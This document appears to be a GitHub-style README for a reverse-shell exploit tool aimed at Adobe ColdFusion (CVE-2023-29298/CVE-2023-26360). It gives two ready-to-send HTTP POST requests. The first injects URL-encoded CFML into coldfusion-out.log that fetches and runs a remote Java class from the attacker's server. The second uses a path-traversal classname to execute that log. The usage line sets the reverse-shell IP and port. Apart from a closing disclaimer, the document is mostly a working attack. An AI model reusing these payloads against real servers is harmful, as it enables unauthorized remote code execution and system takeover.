ColdFusion_EXp

CVE-2023-29298/CVE-2023-26360 Vulnerability Exploitation Reverse Shell Tool

Introduction

The vulnerability principle is that when we construct CFML data, the client's request data is saved to the server's coldfusion-out.log. This directory records error information from requests. The coldfusion-out.log file contains the code we wrote. Then we use classname to read and execute this log file, achieving code execution.

I have an idea: by placing a malicious class file on the server, then downloading and saving it, and calling this class file. Through the above vulnerability, it dynamically loads the class and executes our class file.

There is a script that generates a compressed package. Inside the compressed package, in the code directory:

utilize
    ├── address
    └── Poc.class

Poc.java mainly contains the reverse shell code.

address stores the address and port.

Implementing the above functionality is very, very cumbersome. I wrote an automated generation tool that constructs Java bytecode files, sets the reverse IP and port, and then starts a web server.

Tool Usage

ToolName -host <reverse IP> -port <reverse port> -p <http port> (default 8888)

Take a look

Then we request to write the error code into the log. Change http://192.168.191.58:8888/GjfZgo in the POST data below to the address where the service is running.

POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e

Then execute the code in the log. This part is fixed and hardcoded, send it directly.

POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close

_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}

Execute and check, the shell is up.

Disclaimer

1. This security tool is for technical research and educational purposes only. Please comply with applicable laws, regulations, and ethical guidelines when using this tool.
2. This tool may involve vulnerability testing and penetration testing, but please use it only within authorized scope. The author bears no responsibility for unauthorized use.
3. Using this tool may involve certain risks and uncertainties. Users should assume all risks associated with using this tool.
4. Users of this tool shall assume all risks and responsibilities. The developer assumes no liability for any consequences arising from the use of this tool.